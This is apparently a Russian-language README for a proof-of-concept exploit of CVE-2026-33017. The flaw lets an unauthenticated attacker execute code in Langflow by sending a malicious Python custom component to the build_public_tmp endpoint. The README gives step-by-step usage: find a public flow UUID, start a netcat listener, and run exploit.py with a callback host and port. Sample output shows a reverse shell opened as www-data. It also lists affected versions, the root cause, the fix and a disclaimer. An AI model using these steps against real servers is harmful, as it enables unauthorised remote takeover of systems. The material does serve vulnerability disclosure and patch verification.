
Эксплойт PoC для CVE-2026-33017: неаутентифицированное удалённое выполнение кода в Langflow через внедрение вредоносного пользовательского компонента Python со встроенным прослушивателем reverse shell.
Автор: dynamo2k1
Критичность: Критический
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 — это критическая уязвимость неавторизованного удалённого выполнения кода в Langflow, платформе с открытым исходным кодом для визуального создания LLM-приложений и AI-рабочих процессов.
Уязвимый эндпоинт build_public_tmp принимает управляемое атакующим поле data в теле запроса без аутентификации. Это позволяет атакующему внедрить полностью кастомное определение флоу, содержащее вредоносный Python Custom Component, код которого выполняется на сервере в процессе сборки.
Учётные данные не требуются. Нужен только валидный UUID публичного флоу.
| Статус | Версия |
|---|---|
| Уязвимые | Langflow < 1.9.0 |
| Исправленные | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
Этот эндпоинт предназначен для сборки публичных (общих) флоу без аутентификации. В уязвимых версиях он также принимает управляемое атакующим поле data в теле запроса, которое передаётся напрямую в логику сборки на стороне сервера — включая любой встроенный Python-код в Custom Components.
pip install requests urllib3
Просмотрите целевой экземпляр Langflow и найдите общий/публичный флоу. UUID отображается в URL:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
Или используйте встроенный интерактивный слушатель (отдельный nc не требуется):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Корневая причина: build_public_tmp доверял полю data из тела запроса вместо использования только сохранённого на сервере определения флоу.
Патч: В Langflow 1.9.0 параметр data был удалён из build_public_tmp. Внешние определения флоу больше нельзя внедрить через этот эндпоинт.
Коммит патча: 73b6612
Данный PoC предоставлен только для образовательных целей и санкционированных исследований безопасности. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
| Флаг | Описание |
|---|
--url | Базовый URL целевого Langflow |
--flow-id | UUID публичного флоу |
--lhost | Ваш IP для обратного вызова reverse shell |
--lport | Ваш порт слушателя |
--listen | Использовать встроенный обработчик shell вместо внешнего nc |
--timeout | Тайм-аут HTTP-запроса в секундах (по умолчанию: 30) |